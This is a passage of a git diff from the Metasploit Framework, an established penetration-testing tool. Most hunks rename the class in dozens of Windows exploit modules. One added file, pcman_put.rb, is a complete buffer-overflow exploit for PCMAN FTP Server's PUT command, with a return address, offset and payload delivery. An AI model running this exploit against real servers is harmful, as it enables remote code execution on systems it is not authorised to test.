a/modules/exploits/windows/fileformat/winamp_maki_bof.rb b/modules/exploits/windows/fileformat/winamp_maki_bof.rb index 0ee6a6a64b..4a9d750ab8 100644 --- a/modules/exploits/windows/fileformat/winamp_maki_bof.rb +++ b/modules/exploits/windows/fileformat/winamp_maki_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/winrar_name_spoofing.rb b/modules/exploits/windows/fileformat/winrar_name_spoofing.rb index 21385fe87f..451b5cdff1 100644 --- a/modules/exploits/windows/fileformat/winrar_name_spoofing.rb +++ b/modules/exploits/windows/fileformat/winrar_name_spoofing.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/zip' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb b/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb index 7727f18446..07a51fe6c6 100644 --- a/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb +++ b/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/wireshark_packet_dect.rb b/modules/exploits/windows/fileformat/wireshark_packet_dect.rb index 614d173074..c9bc390b9c 100644 --- a/modules/exploits/windows/fileformat/wireshark_packet_dect.rb +++ b/modules/exploits/windows/fileformat/wireshark_packet_dect.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/wm_downloader_m3u.rb b/modules/exploits/windows/fileformat/wm_downloader_m3u.rb index 0c6ee32cda..c30ee3fbb9 100644 --- a/modules/exploits/windows/fileformat/wm_downloader_m3u.rb +++ b/modules/exploits/windows/fileformat/wm_downloader_m3u.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb index e6f7b78680..85090b33ae 100644 --- a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb +++ b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb index 9e217df2a7..461b7f28bc 100644 --- a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb +++ b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb b/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb index a70e7da10a..97067e3539 100644 --- a/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb +++ b/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb b/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb index d3a93a3cfa..c2d91d9795 100644 --- a/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb +++ b/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/windows/firewall/blackice_pam_icq.rb b/modules/exploits/windows/firewall/blackice_pam_icq.rb index b2aa38f375..af6d02d283 100644 --- a/modules/exploits/windows/firewall/blackice_pam_icq.rb +++ b/modules/exploits/windows/firewall/blackice_pam_icq.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/firewall/kerio_auth.rb b/modules/exploits/windows/firewall/kerio_auth.rb index 09ec293453..3bcb0cf970 100644 --- a/modules/exploits/windows/firewall/kerio_auth.rb +++ b/modules/exploits/windows/firewall/kerio_auth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/ftp/32bitftp_list_reply.rb b/modules/exploits/windows/ftp/32bitftp_list_reply.rb index 88764b31c3..72d911d5a4 100644 --- a/modules/exploits/windows/ftp/32bitftp_list_reply.rb +++ b/modules/exploits/windows/ftp/32bitftp_list_reply.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer diff --git a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb index 6ae2f48820..f4e9760d84 100644 --- a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb +++ b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/aasync_list_reply.rb b/modules/exploits/windows/ftp/aasync_list_reply.rb index 86675200e1..266e3fc0fa 100644 --- a/modules/exploits/windows/ftp/aasync_list_reply.rb +++ b/modules/exploits/windows/ftp/aasync_list_reply.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer diff --git a/modules/exploits/windows/ftp/ability_server_stor.rb b/modules/exploits/windows/ftp/ability_server_stor.rb index da254de1d6..13a3d851d9 100644 --- a/modules/exploits/windows/ftp/ability_server_stor.rb +++ b/modules/exploits/windows/ftp/ability_server_stor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb b/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb index c740472f19..7eb93075e6 100644 --- a/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb +++ b/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::FtpServer diff --git a/modules/exploits/windows/ftp/bison_ftp_bof.rb b/modules/exploits/windows/ftp/bison_ftp_bof.rb index 4e71775798..ffff7db5ed 100644 --- a/modules/exploits/windows/ftp/bison_ftp_bof.rb +++ b/modules/exploits/windows/ftp/bison_ftp_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/cesarftp_mkd.rb b/modules/exploits/windows/ftp/cesarftp_mkd.rb index 0026fb5b96..68622d600e 100644 --- a/modules/exploits/windows/ftp/cesarftp_mkd.rb +++ b/modules/exploits/windows/ftp/cesarftp_mkd.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb b/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb index ae905a9acd..207d0f486d 100644 --- a/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb +++ b/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/ftp/dreamftp_format.rb b/modules/exploits/windows/ftp/dreamftp_format.rb index 2c2707a2c7..e0a1ab643f 100644 --- a/modules/exploits/windows/ftp/dreamftp_format.rb +++ b/modules/exploits/windows/ftp/dreamftp_format.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/ftp/easyfilesharing_pass.rb b/modules/exploits/windows/ftp/easyfilesharing_pass.rb index 6223524b5b..1e4f688b9b 100644 --- a/modules/exploits/windows/ftp/easyfilesharing_pass.rb +++ b/modules/exploits/windows/ftp/easyfilesharing_pass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb index db15f4a362..2ced587670 100644 --- a/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/easyftp_list_fixret.rb b/modules/exploits/windows/ftp/easyftp_list_fixret.rb index 07c9cb90fc..67dce18c44 100644 --- a/modules/exploits/windows/ftp/easyftp_list_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_list_fixret.rb @@ -14,7 +14,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb b/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb index 7991c3fe5c..fef06a6196 100644 --- a/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/filecopa_list_overflow.rb b/modules/exploits/windows/ftp/filecopa_list_overflow.rb index d876af7908..dbbe479d36 100644 --- a/modules/exploits/windows/ftp/filecopa_list_overflow.rb +++ b/modules/exploits/windows/ftp/filecopa_list_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/filewrangler_list_reply.rb b/modules/exploits/windows/ftp/filewrangler_list_reply.rb index 2757eadf85..763701eddd 100644 --- a/modules/exploits/windows/ftp/filewrangler_list_reply.rb +++ b/modules/exploits/windows/ftp/filewrangler_list_reply.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer diff --git a/modules/exploits/windows/ftp/freefloatftp_user.rb b/modules/exploits/windows/ftp/freefloatftp_user.rb index 3352b4407e..1a21d31d2b 100644 --- a/modules/exploits/windows/ftp/freefloatftp_user.rb +++ b/modules/exploits/windows/ftp/freefloatftp_user.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/freefloatftp_wbem.rb b/modules/exploits/windows/ftp/freefloatftp_wbem.rb index ab833037cc..31e7f97f65 100644 --- a/modules/exploits/windows/ftp/freefloatftp_wbem.rb +++ b/modules/exploits/windows/ftp/freefloatftp_wbem.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb index d39a39495b..15638bd5ee 100644 --- a/modules/exploits/windows/ftp/freeftpd_pass.rb +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/freeftpd_user.rb b/modules/exploits/windows/ftp/freeftpd_user.rb index ff40940d5e..dfd218bd16 100644 --- a/modules/exploits/windows/ftp/freeftpd_user.rb +++ b/modules/exploits/windows/ftp/freeftpd_user.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb b/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb index 68b913acbc..4a3f5c083e 100644 --- a/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb +++ b/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer diff --git a/modules/exploits/windows/ftp/ftppad_list_reply.rb b/modules/exploits/windows/ftp/ftppad_list_reply.rb index f8fc0893db..51f8a6e1bd 100644 --- a/modules/exploits/windows/ftp/ftppad_list_reply.rb +++ b/modules/exploits/windows/ftp/ftppad_list_reply.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Exploit::Remote::FtpServer diff --git a/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb b/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb index 4f8df2009c..31744286f0 100644 --- a/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb +++ b/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Exploit::Remote::FtpServer diff --git a/modules/exploits/windows/ftp/ftpsynch_list_reply.rb b/modules/exploits/windows/ftp/ftpsynch_list_reply.rb index 91809dba78..1a10e1d0e6 100644 --- a/modules/exploits/windows/ftp/ftpsynch_list_reply.rb +++ b/modules/exploits/windows/ftp/ftpsynch_list_reply.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Exploit::Remote::FtpServer diff --git a/modules/exploits/windows/ftp/gekkomgr_list_reply.rb b/modules/exploits/windows/ftp/gekkomgr_list_reply.rb index 754d9afd7e..43328997c2 100644 --- a/modules/exploits/windows/ftp/gekkomgr_list_reply.rb +++ b/modules/exploits/windows/ftp/gekkomgr_list_reply.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer diff --git a/modules/exploits/windows/ftp/globalscapeftp_input.rb b/modules/exploits/windows/ftp/globalscapeftp_input.rb index 497c2049ad..57bb580aac 100644 --- a/modules/exploits/windows/ftp/globalscapeftp_input.rb +++ b/modules/exploits/windows/ftp/globalscapeftp_input.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/goldenftp_pass_bof.rb b/modules/exploits/windows/ftp/goldenftp_pass_bof.rb index e90f25e4ba..390c85c097 100644 --- a/modules/exploits/windows/ftp/goldenftp_pass_bof.rb +++ b/modules/exploits/windows/ftp/goldenftp_pass_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/httpdx_tolog_format.rb b/modules/exploits/windows/ftp/httpdx_tolog_format.rb index 5adb8fc2fb..4afa3776fd 100644 --- a/modules/exploits/windows/ftp/httpdx_tolog_format.rb +++ b/modules/exploits/windows/ftp/httpdx_tolog_format.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb index 2799facccc..bf75081bac 100644 --- a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb +++ b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/leapftp_list_reply.rb b/modules/exploits/windows/ftp/leapftp_list_reply.rb index a27b61a9ed..824d7e0e35 100644 --- a/modules/exploits/windows/ftp/leapftp_list_reply.rb +++ b/modules/exploits/windows/ftp/leapftp_list_reply.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer diff --git a/modules/exploits/windows/ftp/leapftp_pasv_reply.rb b/modules/exploits/windows/ftp/leapftp_pasv_reply.rb index b1b03bb545..a0be93b3b8 100644 --- a/modules/exploits/windows/ftp/leapftp_pasv_reply.rb +++ b/modules/exploits/windows/ftp/leapftp_pasv_reply.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb b/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb index 9345aca081..a9cf6d302a 100644 --- a/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb +++ b/modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/netterm_netftpd_user.rb b/modules/exploits/windows/ftp/netterm_netftpd_user.rb index e1404937dd..df8a083f4a 100644 --- a/modules/exploits/windows/ftp/netterm_netftpd_user.rb +++ b/modules/exploits/windows/ftp/netterm_netftpd_user.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/odin_list_reply.rb b/modules/exploits/windows/ftp/odin_list_reply.rb index 5d672e54ec..afe59385b0 100644 --- a/modules/exploits/windows/ftp/odin_list_reply.rb +++ b/modules/exploits/windows/ftp/odin_list_reply.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer diff --git a/modules/exploits/windows/ftp/open_ftpd_wbem.rb b/modules/exploits/windows/ftp/open_ftpd_wbem.rb index 53fd3231d5..92f731b177 100644 --- a/modules/exploits/windows/ftp/open_ftpd_wbem.rb +++ b/modules/exploits/windows/ftp/open_ftpd_wbem.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb index 6bd6afcda3..592bad109b 100644 --- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb +++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb index 99b39220b0..aa1c8cb6d8 100644 --- a/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb +++ b/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/pcman_put.rb b/modules/exploits/windows/ftp/pcman_put.rb new file mode 100644 index 0000000000..0379c0c577 --- /dev/null +++ b/modules/exploits/windows/ftp/pcman_put.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Ftp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command', + 'Description' => %q{ + This module exploits a buffer overflow vulnerability found in the PUT command of the + PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous + credientials are enabled. + }, + 'Author' => + [ + 'Jay Turla', # Initial Discovery -- @shipcod3 + 'Chris Higgins' # msf Module -- @ch1gg1ns + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '37731'], + [ 'OSVDB', '94624'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00\x0A\x0D", + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows XP SP3 English', + { + 'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll + 'Offset' => 2007 + } + ], + ], + 'DisclosureDate' => 'Aug 07 2015', + 'DefaultTarget' => 0)) + end + + def check + connect_login + disconnect + + if /220 PCMan's FTP Server 2\.0/ === banner + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + + def exploit + connect_login + + print_status('Generating payload...') + sploit = rand_text_alpha(target['Offset']) + sploit << [target.ret].pack('V') + sploit << make_nops(16) + sploit << payload.encoded + + send_cmd( ["PUT", sploit], false ) + disconnect + end + +end diff --git a/modules/exploits/windows/ftp/pcman_stor.rb b/modules/exploits/windows/ftp/pcman_stor.rb index 10ea810e86..9ec9e76e93 100644 --- a/modules/exploits/windows/ftp/pcman_stor.rb +++ b/modules/exploits/windows/ftp/pcman_stor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/proftp_banner.rb b/modules/exploits/windows/ftp/proftp_banner.rb index 91cf132b9e..c5565db2f1 100644 --- a/modules/exploits/windows/ftp/proftp_banner.rb +++ b/modules/exploits/windows/ftp/proftp_banner.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/ftp/quickshare_traversal_write.rb b/modules/exploits/windows/ftp/quickshare_traversal_write.rb index 043b6c2ccf..343134c41c 100644 --- a/modules/exploits/windows/ftp/quickshare_traversal_write.rb +++ b/modules/exploits/windows/ftp/quickshare_traversal_write.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/ricoh_dl_bof.rb b/modules/exploits/windows/ftp/ricoh_dl_bof.rb index 2977243b78..0d36500d61 100644 --- a/modules/exploits/windows/ftp/ricoh_dl_bof.rb +++ b/modules/exploits/windows/ftp/ricoh_dl_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/sami_ftpd_list.rb b/modules/exploits/windows/ftp/sami_ftpd_list.rb index c07761fbd2..ffc7d788f1 100644 --- a/modules/exploits/windows/ftp/sami_ftpd_list.rb +++ b/modules/exploits/windows/ftp/sami_ftpd_list.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = LowRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/sami_ftpd_user.rb b/modules/exploits/windows/ftp/sami_ftpd_user.rb index 48bdbf0d8a..6f204555fd 100644 --- a/modules/exploits/windows/ftp/sami_ftpd_user.rb +++ b/modules/exploits/windows/ftp/sami_ftpd_user.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/ftp/sasser_ftpd_port.rb b/modules/exploits/windows/ftp/sasser_ftpd_port.rb index 0499103f04..42d0bf5062 100644 --- a/modules/exploits/windows/ftp/sasser_ftpd_port.rb +++ b/modules/exploits/windows/ftp/sasser_ftpd_port.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/windows/ftp/scriptftp_list.rb b/modules/exploits/windows/ftp/scriptftp_list.rb index 0c8492f50e..13c7fdf422 100644 --- a/modules/exploits/windows/ftp/scriptftp_list.rb +++ b/modules/exploits/windows/ftp/scriptftp_list.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'DisablePayloadHandler' => 'false', + 'DisablePayloadHandler' => false, }, 'Payload' => { diff --git a/modules/exploits/windows/ftp/seagull_list_reply.rb b/modules/exploits/windows/ftp/seagull_list_reply.rb index eaf8b779f9..a3bfa6be94 100644 --- a/modules/exploits/windows/ftp/seagull_list_reply.rb +++ b/modules/exploits/windows/ftp/seagull_list_reply.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer diff --git a/modules/exploits/windows/ftp/servu_chmod.rb b/modules/exploits/windows/ftp/servu_chmod.rb index 3439995d2c..6d5bcdc0ca 100644 --- a/modules/exploits/windows/ftp/servu_chmod.rb +++ b/modules/exploits/windows/ftp/servu_chmod.rb @@ -5,7 +5,7 @@ require 